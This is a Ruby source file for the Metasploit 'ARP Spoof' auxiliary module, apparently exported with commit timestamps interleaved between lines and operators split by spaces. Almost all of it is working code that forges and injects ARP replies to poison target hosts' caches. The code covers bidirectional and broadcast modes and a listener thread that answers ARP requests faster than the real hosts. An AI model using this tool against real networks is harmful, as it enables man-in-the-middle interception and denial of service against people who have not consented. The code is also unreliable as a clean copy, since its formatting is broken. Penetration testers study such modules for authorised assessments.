2011-05-08 04:26:16 +00:00
##
2011-05-08 21:36:29 +00:00
# $Id$
2011-05-08 04:26:16 +00:00
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'racket'
class Metasploit3 < Msf :: Auxiliary
include Msf :: Exploit :: Remote :: Capture
include Msf :: Auxiliary :: Report
#include Msf::Auxiliary::Scanner
def initialize
super (
'Name' = > 'ARP Spoof' ,
2011-05-08 21:36:29 +00:00
'Version' = > '$Revision$' ,
2011-05-08 04:26:16 +00:00
'Description' = > %q{
Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service .
} ,
'Author' = > 'amaloteaux' , # msf rewrite
#tons of people ....
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'OSVDB' , '11169' ] ,
[ 'CVE' , '1999-0667' ] ,
[ 'URL' , 'http://en.wikipedia.org/wiki/ARP_spoofing' ]
] ,
'DisclosureDate' = > 'Dec 22 1999' #osvdb date
)
register_options ( [
OptString . new ( 'SHOSTS' , [ true , 'Spoofed ip addresses' ] ) ,
2011-06-02 21:12:21 +00:00
OptString . new ( 'SMAC' , [ false , 'The spoofed mac' ] ) ,
2011-05-08 04:26:16 +00:00
OptString . new ( 'DHOSTS' , [ true , 'Target ip addresses' ] ) ,
OptString . new ( 'INTERFACE' , [ false , 'The name of the interface' ] ) ,
OptBool . new ( 'BIDIRECTIONAL' , [ true , 'Spoof also the source with the dest' , false ] ) ,
2011-05-22 11:54:51 +00:00
OptBool . new ( 'AUTO_ADD' , [ true , 'Auto add new host when discovered by the listener' , false ] ) ,
OptBool . new ( 'VERBOSE' , [ true , 'Display more output on screen' , false ] ) ,
2011-05-21 16:26:11 +00:00
OptBool . new ( 'LISTENER' , [ true , 'Use an additionnal thread that will listen to arp request and try to relply as fast as possible' , true ] )
2011-05-08 04:26:16 +00:00
] , self . class )
register_advanced_options ( [
2011-06-02 21:12:21 +00:00
OptString . new ( 'LOCALSMAC' , [ false , 'The MAC address of the local interface to use for hosts detection, this is usefull only if you want to spoof to another host with SMAC' ] ) ,
2011-05-08 04:26:16 +00:00
OptString . new ( 'LOCALSIP' , [ false , 'The IP address of the local interface to use for hosts detection' ] ) ,
OptInt . new ( 'PKT_DELAY' , [ true , 'The delay in milliseconds between each packet during poisoning' , 100 ] ) ,
2011-05-21 16:26:11 +00:00
OptInt . new ( 'TIMEOUT' , [ true , 'The number of seconds to wait for new data during host detection' , 2 ] ) ,
# This mode will generate address ip conflict pop up on most systems
OptBool . new ( 'BROADCAST' , [ true , 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS' , false ] )
2011-05-08 04:26:16 +00:00
] , self . class )
deregister_options ( 'SNAPLEN' , 'FILTER' , 'PCAPFILE' , 'RHOST' , 'UDP_SECRET' , 'GATEWAY' , 'NETMASK' )
end
def run
2011-06-02 21:12:21 +00:00
@netifaces = true
if not netifaces_implemented?
print_error ( " WARNING : Pcaprub is not uptodate, some functionality will not be available " )
@netifaces = false
end
2011-05-22 11:47:54 +00:00
@spoofing = false
2011-05-21 16:26:11 +00:00
# The local dst (and src) cache(s)
@dsthosts_cache = { }
@srchosts_cache = { }
# Some additional caches for autoadd feature
if datastore [ 'AUTO_ADD' ]
@dsthosts_autoadd_cache = { }
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_autoadd_cache = { }
end
end
2011-05-08 04:26:16 +00:00
begin
open_pcap ( { 'SNAPLEN' = > 68 , 'FILTER' = > " arp[6:2] == 0x0002 " } )
@interface = datastore [ 'INTERFACE' ] || Pcap . lookupdev
@smac = datastore [ 'SMAC' ]
2011-06-02 21:12:21 +00:00
@smac || = get_mac ( @interface ) if @netifaces
raise RuntimeError , 'Source Mac should be defined' unless @smac
2011-05-08 04:26:16 +00:00
raise RuntimeError , 'Source Mac is not in correct format' unless is_mac? ( @smac )
2011-06-02 21:12:21 +00:00
@sip = datastore [ 'LOCALSIP' ]
@sip || = Pcap . lookupaddrs ( @interface ) [ 0 ] if @netifaces
raise " LOCALIP is not defined and can not be guessed " unless @sip
raise " LOCALIP is not an ipv4 address " unless is_ipv4? @sip
2011-05-08 04:26:16 +00:00
shosts_range = Rex :: Socket :: RangeWalker . new ( datastore [ 'SHOSTS' ] )
@shosts = [ ]
2011-06-02 21:12:21 +00:00
if datastore [ 'BIDIRECTIONAL' ]
shosts_range . each { | shost | if is_ipv4? shost and shost != @sip then @shosts . push shost end }
else
shosts_range . each { | shost | if is_ipv4? shost then @shosts . push shost end }
end
2011-05-08 04:26:16 +00:00
if datastore [ 'BROADCAST' ]
broadcast_spoof
else
arp_poisoning
end
2011-05-22 11:47:54 +00:00
rescue = > ex
print_error ( ex . message )
2011-05-08 04:26:16 +00:00
ensure
2011-05-22 11:47:54 +00:00
2011-05-08 04:26:16 +00:00
if datastore [ 'LISTENER' ]
@listener . kill if @listener
GC . start ( )
end
2011-05-22 11:47:54 +00:00
if capture and @spoofing and not datastore [ 'BROADCAST' ]
print_status ( " RE-ARPing the victims... " )
3 . times do
@dsthosts_cache . keys . sort . each do | dhost |
dmac = @dsthosts_cache [ dhost ]
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_cache . keys . sort . each do | shost |
smac = @srchosts_cache [ shost ]
if shost != dhost
print_status ( " Sending arp packet for #{ shost } to #{ dhost } " ) if datastore [ 'VERBOSE' ]
reply = buildreply ( shost , smac , dhost , dmac )
capture . inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
else
@shosts . each do | shost |
if shost != dhost
print_status ( " Sending arp request for #{ shost } to #{ dhost } " ) if datastore [ 'VERBOSE' ]
request = buildprobe ( dhost , dmac , shost )
capture . inject ( request )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_cache . keys . sort . each do | shost |
smac = @srchosts_cache [ shost ]
@dsthosts_cache . keys . sort . each do | dhost |
dmac = @dsthosts_cache [ dhost ]
if shost != dhost
print_status ( " Sending arp packet for #{ dhost } to #{ shost } " ) if datastore [ 'VERBOSE' ]
reply = buildreply ( dhost , dmac , shost , smac )
capture . inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
end # 3.times
end
close_pcap
end #begin/rescue/ensure
2011-05-08 04:26:16 +00:00
end
def broadcast_spoof
2011-05-22 14:00:35 +00:00
print_status ( " ARP poisoning in progress (broadcast)... " )
2011-05-08 04:26:16 +00:00
while ( true )
@shosts . each do | shost |
print_status ( " Sending arp packet for #{ shost } address " ) if datastore [ 'VERBOSE' ]
reply = buildreply ( shost , @smac , '0.0.0.0' , 'ff:ff:ff:ff:ff:ff' )
capture . inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
def arp_poisoning
lsmac = datastore [ 'LOCALSMAC' ] || @smac
raise RuntimeError , 'Local Source Mac is not in correct format' unless is_mac? ( lsmac )
dhosts_range = Rex :: Socket :: RangeWalker . new ( datastore [ 'DHOSTS' ] )
2011-05-21 16:26:11 +00:00
@dhosts = [ ]
2011-06-02 21:12:21 +00:00
dhosts_range . each { | dhost | if is_ipv4? dhost and dhost != @sip then @dhosts . push ( dhost ) end }
2011-05-08 04:26:16 +00:00
#Build the local dest hosts cache
print_status ( " Building the destination hosts cache... " )
2011-05-21 16:26:11 +00:00
@dhosts . each do | dhost |
2011-05-08 04:26:16 +00:00
if datastore [ 'VERBOSE' ]
print_status ( " Sending arp packet to #{ dhost } " )
end
2011-06-02 21:12:21 +00:00
probe = buildprobe ( @sip , lsmac , dhost )
2011-05-08 04:26:16 +00:00
capture . inject ( probe )
while ( reply = getreply ( ) )
next if not reply [ :arp ]
#Without this check any arp request would be added to the cache
2011-05-21 16:26:11 +00:00
if @dhosts . include? reply [ :arp ] . spa
2011-05-08 04:26:16 +00:00
print_status ( " #{ reply [ :arp ] . spa } appears to be up. " )
report_host ( :host = > reply [ :arp ] . spa , :mac = > reply [ :arp ] . sha )
2011-05-21 16:26:11 +00:00
@dsthosts_cache [ reply [ :arp ] . spa ] = reply [ :arp ] . sha
2011-05-08 04:26:16 +00:00
end
end
end
#Wait some few seconds for last packets
etime = Time . now . to_f + datastore [ 'TIMEOUT' ]
while ( Time . now . to_f < etime )
while ( reply = getreply ( ) )
next if not reply [ :arp ]
2011-05-21 16:26:11 +00:00
if @dhosts . include? reply [ :arp ] . spa
2011-05-08 04:26:16 +00:00
print_status ( " #{ reply [ :arp ] . spa } appears to be up. " )
report_host ( :host = > reply [ :arp ] . spa , :mac = > reply [ :arp ] . sha )
2011-05-21 16:26:11 +00:00
@dsthosts_cache [ reply [ :arp ] . spa ] = reply [ :arp ] . sha
2011-05-08 04:26:16 +00:00
end
end
Kernel . select ( nil , nil , nil , 0 . 50 )
end
2011-05-21 16:26:11 +00:00
raise RuntimeError , " No hosts found " unless @dsthosts_cache . length > 0
2011-05-08 04:26:16 +00:00
#Build the local src hosts cache
if datastore [ 'BIDIRECTIONAL' ]
print_status ( " Building the source hosts cache for unknow source hosts... " )
@shosts . each do | shost |
2011-05-21 16:26:11 +00:00
if @dsthosts_cache . has_key? shost
2011-05-08 04:26:16 +00:00
if datastore [ 'VERBOSE' ]
print_status ( " Adding #{ shost } from destination cache " )
end
2011-05-21 16:26:11 +00:00
@srchosts_cache [ shost ] = @dsthosts_cache [ shost ]
2011-05-08 04:26:16 +00:00
next
end
if datastore [ 'VERBOSE' ]
print_status ( " Sending arp packet to #{ shost } " )
end
2011-06-02 21:12:21 +00:00
probe = buildprobe ( @sip , lsmac , shost )
2011-05-08 04:26:16 +00:00
capture . inject ( probe )
while ( reply = getreply ( ) )
next if not reply [ :arp ]
if @shosts . include? reply [ :arp ] . spa
print_status ( " #{ reply [ :arp ] . spa } appears to be up. " )
report_host ( :host = > reply [ :arp ] . spa , :mac = > reply [ :arp ] . sha )
2011-05-21 16:26:11 +00:00
@srchosts_cache [ reply [ :arp ] . spa ] = reply [ :arp ] . sha
2011-05-08 04:26:16 +00:00
end
end
end
#Wait some few seconds for last packets
etime = Time . now . to_f + datastore [ 'TIMEOUT' ]
while ( Time . now . to_f < etime )
while ( reply = getreply ( ) )
next if not reply [ :arp ]
if @shosts . include? reply [ :arp ] . spa
print_status ( " #{ reply [ :arp ] . spa } appears to be up. " )
report_host ( :host = > reply [ :arp ] . spa , :mac = > reply [ :arp ] . sha )
2011-05-21 16:26:11 +00:00
@srchosts_cache [ reply [ :arp ] . spa ] = reply [ :arp ] . sha
2011-05-08 04:26:16 +00:00
end
end
Kernel . select ( nil , nil , nil , 0 . 50 )
end
2011-05-21 16:26:11 +00:00
raise RuntimeError , " No hosts found " unless @srchosts_cache . length > 0
end
if datastore [ 'AUTO_ADD' ]
@mutex_cache = Mutex . new
2011-05-08 04:26:16 +00:00
end
#Start the listener
if datastore [ 'LISTENER' ]
2011-05-21 16:26:11 +00:00
start_listener ( @dsthosts_cache , @srchosts_cache )
2011-05-08 04:26:16 +00:00
end
#Do the job until user interupt it
2011-05-22 14:00:35 +00:00
print_status ( " ARP poisoning in progress... " )
2011-05-22 11:47:54 +00:00
@spoofing = true
2011-05-08 04:26:16 +00:00
while ( true )
2011-05-21 16:26:11 +00:00
if datastore [ 'AUTO_ADD' ]
@mutex_cache . lock
if @dsthosts_autoadd_cache . length > 0
@dsthosts_cache . merge! ( @dsthosts_autoadd_cache )
@dsthosts_autoadd_cache = { }
end
2011-05-08 04:26:16 +00:00
if datastore [ 'BIDIRECTIONAL' ]
2011-05-21 16:26:11 +00:00
if @srchosts_autoadd_cache . length > 0
@srchosts_cache . merge! ( @srchosts_autoadd_cache )
@srchosts_autoadd_cache = { }
end
end
@mutex_cache . unlock
end
@dsthosts_cache . keys . sort . each do | dhost |
dmac = @dsthosts_cache [ dhost ]
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_cache . keys . sort . each do | shost |
smac = @srchosts_cache [ shost ]
2011-05-08 04:26:16 +00:00
if shost != dhost
print_status ( " Sending arp packet for #{ shost } to #{ dhost } " ) if datastore [ 'VERBOSE' ]
reply = buildreply ( shost , @smac , dhost , dmac )
capture . inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
else
@shosts . each do | shost |
if shost != dhost
print_status ( " Sending arp packet for #{ shost } to #{ dhost } " ) if datastore [ 'VERBOSE' ]
reply = buildreply ( shost , @smac , dhost , dmac )
capture . inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
if datastore [ 'BIDIRECTIONAL' ]
2011-05-21 16:26:11 +00:00
@srchosts_cache . keys . sort . each do | shost |
smac = @srchosts_cache [ shost ]
@dsthosts_cache . keys . sort . each do | dhost |
dmac = @dsthosts_cache [ dhost ]
2011-05-08 04:26:16 +00:00
if shost != dhost
print_status ( " Sending arp packet for #{ dhost } to #{ shost } " ) if datastore [ 'VERBOSE' ]
reply = buildreply ( dhost , @smac , shost , smac )
capture . inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
end
end
def is_mac? ( mac )
if mac =~ / ^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$ / then true
else false end
end
#copy paste from rex::socket cause we need only ipv4
def is_ipv4? ( addr )
( addr =~ / ^(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2}))$ / ) ? true : false
end
def buildprobe ( shost , smac , dhost )
n = Racket :: Racket . new
n . l2 = Racket :: L2 :: Ethernet . new ( Racket :: Misc . randstring ( 14 ) )
n . l2 . src_mac = smac
n . l2 . dst_mac = 'ff:ff:ff:ff:ff:ff'
n . l2 . ethertype = 0x0806
n . l3 = Racket :: L3 :: ARP . new
n . l3 . opcode = Racket :: L3 :: ARP :: ARPOP_REQUEST
n . l3 . sha = n . l2 . src_mac
n . l3 . tha = n . l2 . dst_mac
n . l3 . spa = shost
n . l3 . tpa = dhost
n . pack
end
def buildreply ( shost , smac , dhost , dmac )
n = Racket :: Racket . new
n . l2 = Racket :: L2 :: Ethernet . new ( Racket :: Misc . randstring ( 14 ) )
n . l2 . src_mac = smac
n . l2 . dst_mac = dmac
n . l2 . ethertype = 0x0806
n . l3 = Racket :: L3 :: ARP . new
n . l3 . opcode = Racket :: L3 :: ARP :: ARPOP_REPLY
n . l3 . sha = n . l2 . src_mac
n . l3 . tha = n . l2 . dst_mac
n . l3 . spa = shost
n . l3 . tpa = dhost
n . pack
end
def getreply
pkt = capture . next
return if not pkt
eth = Racket :: L2 :: Ethernet . new ( pkt )
return if not eth . ethertype == 0x0806
arp = Racket :: L3 :: ARP . new ( eth . payload )
return if not arp . opcode == Racket :: L3 :: ARP :: ARPOP_REPLY
{ :raw = > pkt , :eth = > eth , :arp = > arp }
end
def start_listener ( dsthosts_cache , srchosts_cache )
if datastore [ 'BIDIRECTIONAL' ]
args = { :BIDIRECTIONAL = > true , :dhosts = > dsthosts_cache . dup , :shosts = > srchosts_cache . dup }
else
args = { :BIDIRECTIONAL = > false , :dhosts = > dsthosts_cache . dup , :shosts = > @shosts . dup }
end
2011-06-02 21:12:21 +00:00
# To avoid any race condition in case of , even if actually those are never updated after the thread is launched
args [ :AUTO_ADD ] = datastore [ 'AUTO_ADD' ]
args [ :localip ] = @sip . dup
2011-05-08 04:26:16 +00:00
@listener =
Thread . new ( args ) do | args |
begin
#one more local copy
liste_src_ips = [ ]
if args [ :BIDIRECTIONAL ]
args [ :shosts ] . each_key { | address | liste_src_ips . push address }
else
args [ :shosts ] . each { | address | liste_src_ips . push address }
end
liste_dst_ips = [ ]
args [ :dhosts ] . each_key { | address | liste_dst_ips . push address }
2011-06-02 21:12:21 +00:00
localip = args [ :localip ]
2011-05-08 04:26:16 +00:00
listener_capture = :: Pcap . open_live ( @interface , 68 , true , 0 )
listener_capture . setfilter ( " arp[6:2] == 0x0001 " )
while ( true )
pkt = listener_capture . next
if pkt
eth = Racket :: L2 :: Ethernet . new ( pkt )
if eth . ethertype == 0x0806
arp = Racket :: L3 :: ARP . new ( eth . payload )
if arp . opcode == Racket :: L3 :: ARP :: ARPOP_REQUEST
#check if the source ip is in the dest hosts
if ( liste_dst_ips . include? arp . spa and liste_src_ips . include? arp . tpa ) or
( args [ :BIDIRECTIONAL ] and liste_dst_ips . include? arp . tpa and liste_src_ips . include? arp . spa )
print_status ( " Listener : Request from #{ arp . spa } for #{ arp . tpa } " ) if datastore [ 'VERBOSE' ]
reply = buildreply ( arp . tpa , @smac , arp . spa , arp . sha )
3 . times { listener_capture . inject ( reply ) }
2011-06-02 21:12:21 +00:00
elsif args [ :AUTO_ADD ]
if ( @dhosts . include? arp . spa and not liste_dst_ips . include? arp . spa and
arp . spa != localip )
2011-05-21 16:26:11 +00:00
@mutex_cache . lock
print_status ( " #{ arp . spa } appears to be up. " )
@dsthosts_autoadd_cache [ arp . spa ] = arp . sha
liste_dst_ips . push arp . spa
@mutex_cache . unlock
elsif ( args [ :BIDIRECTIONAL ] and @shosts . include? arp . spa and
2011-06-02 21:12:21 +00:00
not liste_src_ips . include? arp . spa and arp . spa != localip )
2011-05-21 16:26:11 +00:00
@mutex_cache . lock
print_status ( " #{ arp . spa } appears to be up. " )
@srchosts_autoadd_cache [ arp . spa ] = arp . sha
liste_src_ips . push arp . spa
@mutex_cache . unlock
end
2011-05-08 04:26:16 +00:00
end
end
end
end
end
rescue = > ex
print_error ( " Listener Error: #{ ex . message } " )
print_error ( " Listener Error: Listener is stopped " )
end
end
@listener . abort_on_exception = true
end
end